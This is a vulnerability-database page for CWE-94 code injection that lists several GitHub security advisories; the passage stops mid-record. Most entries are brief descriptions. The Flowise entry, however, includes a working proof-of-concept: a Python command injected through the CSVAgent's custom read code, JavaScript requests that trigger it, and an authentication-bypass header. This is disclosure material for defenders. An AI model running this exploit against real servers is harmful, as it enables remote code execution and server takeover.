Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8554 vulnerabilities reference this CWE, most recent first.

GHSA-9W9H-RRWJ-7788

Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-05-02 18:30
VLAI
Details

The Booster for WooCommerce plugin is vulnerable to Unauthenticated Arbitrary Shortcode Execution in versions up to, and including, 7.1.8. This allows unauthenticated attackers to execute arbitrary shortcodes. The severity and exploitability depends on what other plugins are installed and what shortcode functionality they provide.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:32Z",
    "severity": "MODERATE"
  },
  "details": "The Booster for WooCommerce plugin is vulnerable to Unauthenticated Arbitrary Shortcode Execution in versions up to, and including, 7.1.8. This allows unauthenticated attackers to execute arbitrary shortcodes. The severity and exploitability depends on what other plugins are installed and what shortcode functionality they provide.",
  "id": "GHSA-9w9h-rrwj-7788",
  "modified": "2024-05-02T18:30:55Z",
  "published": "2024-05-02T18:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3957"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/trunk/includes/class-wcj-product-by-user.php#L245"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3076207%40woocommerce-jetpack%2Ftrunk\u0026old=3046146%40woocommerce-jetpack%2Ftrunk\u0026sfp_email=\u0026sfph_mail=#file7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1653de8f-62eb-488b-9e97-8b30221b509f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WC7-MJ3F-74XV

Vulnerability from github – Published: 2026-04-16 21:44 – Updated: 2026-04-24 20:44
VLAI
Summary
Flowise: Code Injection in CSVAgent leads to Authenticated RCE
Details

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts. customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code). An authenticated attacker can issue the following chain of requests:

  1. Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
  2. Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
  3. Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.

Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:

const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
    method: "DELETE",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:44:15Z",
    "nvd_published_at": "2026-04-23T20:16:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({\u0027foo\u0027: [\u0027bar!\u0027]});import os;os.system(\u0027whoami\u0027)` that will get interpolated and executed by the server.\n\n### Details\nThe code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]).\n`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.\nAn authenticated attacker can issue the following chain of requests:\n\n1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.\n2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.\n3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.\n\nSince `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren\u0027t set, it\u0027s sufficient to provide the `\"x-request-from\": \"internal\"` header to bypass authentication.\n\n### PoC\nHere\u0027s the PoC code:\n```\nconst PORT = 3000;\nconst FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;\nconst PREDICTION_URL = \u0027/api/v1/prediction\u0027;\nconst CHATFLOWS_URL = \u0027/api/v1/chatflows\u0027;\n\nconst flowData = JSON.parse(\"{\\\"nodes\\\":[{\\\"id\\\":\\\"csvAgent_0\\\",\\\"position\\\":{\\\"x\\\":681,\\\"y\\\":212},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"label\\\":\\\"CSV Agent\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"version\\\":3,\\\"type\\\":\\\"AgentExecutor\\\",\\\"category\\\":\\\"Agents\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"inputs\\\":{\\\"csvFile\\\":\\\"\\\",\\\"model\\\":\\\"{{openAI_0.data.instance}}\\\",\\\"systemMessagePrompt\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"customReadCSV\\\":\\\"DataFrame({\u0027foo\u0027: [\u0027bar!\u0027]});import os;os.system(\u0027whoami\u0027);\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Language Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseLanguageModel\\\",\\\"id\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\"},{\\\"label\\\":\\\"Input Moderation\\\",\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"name\\\":\\\"inputModeration\\\",\\\"type\\\":\\\"Moderation\\\",\\\"optional\\\":true,\\\"list\\\":true,\\\"id\\\":\\\"csvAgent_0-input-inputModeration-Moderation\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Csv File\\\",\\\"name\\\":\\\"csvFile\\\",\\\"type\\\":\\\"file\\\",\\\"fileType\\\":\\\".csv\\\",\\\"id\\\":\\\"csvAgent_0-input-csvFile-file\\\"},{\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessagePrompt\\\",\\\"type\\\":\\\"string\\\",\\\"rows\\\":4,\\\"additionalParams\\\":true,\\\"optional\\\":true,\\\"placeholder\\\":\\\"I want you to act as a document that I am having a conversation with. Your name is \\\\\\\"AI Assistant\\\\\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\\\\\"Hmm, I am not sure.\\\\\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\\\",\\\"id\\\":\\\"csvAgent_0-input-systemMessagePrompt-string\\\"},{\\\"label\\\":\\\"Custom Pandas Read_CSV Code\\\",\\\"description\\\":\\\"Custom Pandas \u003ca target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\\\\\"\u003eread_csv\u003c/a\u003e function. Takes in an input: \\\\\\\"csv_data\\\\\\\"\\\",\\\"name\\\":\\\"customReadCSV\\\",\\\"default\\\":\\\"read_csv(csv_data)\\\",\\\"type\\\":\\\"code\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"csvAgent_0-input-customReadCSV-code\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"id\\\":\\\"csvAgent_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":464,\\\"selected\\\":true,\\\"dragging\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":681,\\\"y\\\":212}},{\\\"id\\\":\\\"openAI_0\\\",\\\"position\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"loadMethods\\\":{},\\\"label\\\":\\\"OpenAI\\\",\\\"name\\\":\\\"openAI\\\",\\\"version\\\":4,\\\"type\\\":\\\"OpenAI\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\\\",\\\"category\\\":\\\"LLMs\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"baseClasses\\\":[\\\"OpenAI\\\",\\\"BaseLLM\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"credential\\\":\\\"\\\",\\\"inputs\\\":{\\\"cache\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"temperature\\\":0.7,\\\"maxTokens\\\":\\\"\\\",\\\"topP\\\":\\\"\\\",\\\"bestOf\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"batchSize\\\":\\\"\\\",\\\"timeout\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"type\\\":\\\"BaseCache\\\",\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-cache-BaseCache\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\",\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"id\\\":\\\"openAI_0-input-credential-credential\\\"},{\\\"label\\\":\\\"Model Name\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"default\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"id\\\":\\\"openAI_0-input-modelName-asyncOptions\\\"},{\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"default\\\":0.7,\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-temperature-number\\\"},{\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-maxTokens-number\\\"},{\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-topP-number\\\"},{\\\"label\\\":\\\"Best Of\\\",\\\"name\\\":\\\"bestOf\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-bestOf-number\\\"},{\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-frequencyPenalty-number\\\"},{\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-presencePenalty-number\\\"},{\\\"label\\\":\\\"Batch Size\\\",\\\"name\\\":\\\"batchSize\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-batchSize-number\\\"},{\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-timeout-number\\\"},{\\\"label\\\":\\\"BasePath\\\",\\\"name\\\":\\\"basepath\\\",\\\"type\\\":\\\"string\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-basepath-string\\\"},{\\\"label\\\":\\\"BaseOptions\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"type\\\":\\\"json\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-baseOptions-json\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"name\\\":\\\"openAI\\\",\\\"label\\\":\\\"OpenAI\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"type\\\":\\\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\\\"}],\\\"id\\\":\\\"openAI_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":574,\\\"selected\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"dragging\\\":false}],\\\"edges\\\":[{\\\"source\\\":\\\"openAI_0\\\",\\\"sourceHandle\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"csvAgent_0\\\",\\\"targetHandle\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\",\\\"type\\\":\\\"buttonedge\\\",\\\"id\\\":\\\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\\\"}],\\\"viewport\\\":{\\\"x\\\":73.92828909845196,\\\"y\\\":-4.475777844396191,\\\"zoom\\\":0.7371346086455504}}\");\nconst payload = {\"name\":\"CSV PWN\",\"deployed\":false,\"isPublic\":false,\"flowData\":JSON.stringify(flowData),\"type\":\"CHATFLOW\"};\n\n// Create chatflow.\nlet res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer \u003cyour-api-key\u003e\"\n        //Alternative: \"x-request-from\": \"internal\"\n    },\n    body: JSON.stringify(payload)\n});\n\nlet resJson = await res.json();\nlet chatflowId = resJson?.id;\n\n// Trigger vuln.\nawait fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\"\n    },\n    body: JSON.stringify({\"question\": \"whoami?\"})\n});\n\n// Cleanup.\nawait fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {\n    method: \"DELETE\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer \u003cyour-api-key\u003e\"\n        //Alternative: \"x-request-from\": \"internal\"\n    }\n});\n```\n\n### Impact\nThis results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.",
  "id": "GHSA-9wc7-mj3f-74xv",
  "modified": "2026-04-24T20:44:06Z",
  "published": "2026-04-16T21:44:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41137"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Code Injection in CSVAgent leads to Authenticated RCE"
}

GHSA-9WF9-QVVP-2929

Vulnerability from github – Published: 2023-03-09 00:30 – Updated: 2023-03-14 21:34
VLAI
Summary
builderio/qwik is vulnerable to code injection
Details

Code Injection in GitHub repository builderio/qwik prior to 0.21.0. The Function deserializer can be accessed using the pureServerFunction feature. This allows any Javascript code to be run by node.js.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@builder.io/qwik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-10T22:28:41Z",
    "nvd_published_at": "2023-03-08T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Code Injection in GitHub repository builderio/qwik prior to 0.21.0. The Function deserializer can be accessed using the pureServerFunction feature. This allows any Javascript code to be run by node.js.",
  "id": "GHSA-9wf9-qvvp-2929",
  "modified": "2023-03-14T21:34:18Z",
  "published": "2023-03-09T00:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BuilderIO/qwik/pull/3249/commits/4d9ba6e098ae6e537aa55abb6b8369bb670ffe66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/builderio/qwik/commit/4d9ba6e098ae6e537aa55abb6b8369bb670ffe66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BuilderIO/qwik"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/63f1ff91-48f3-4886-a179-103f1ddd8ff8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "builderio/qwik is vulnerable to code injection"
}

GHSA-9WFX-P9GG-HP4F

Vulnerability from github – Published: 2025-04-28 15:31 – Updated: 2025-04-28 15:31
VLAI
Details

Usermin 0.980 through 1.x before 1.660 allows uconfig_save.cgi sig_file_free remote code execution because it uses the two argument (not three argument) form of Perl open.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-2079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-96"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T15:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "Usermin 0.980 through 1.x before 1.660 allows uconfig_save.cgi sig_file_free remote code execution because it uses the two argument (not three argument) form of Perl open.",
  "id": "GHSA-9wfx-p9gg-hp4f",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
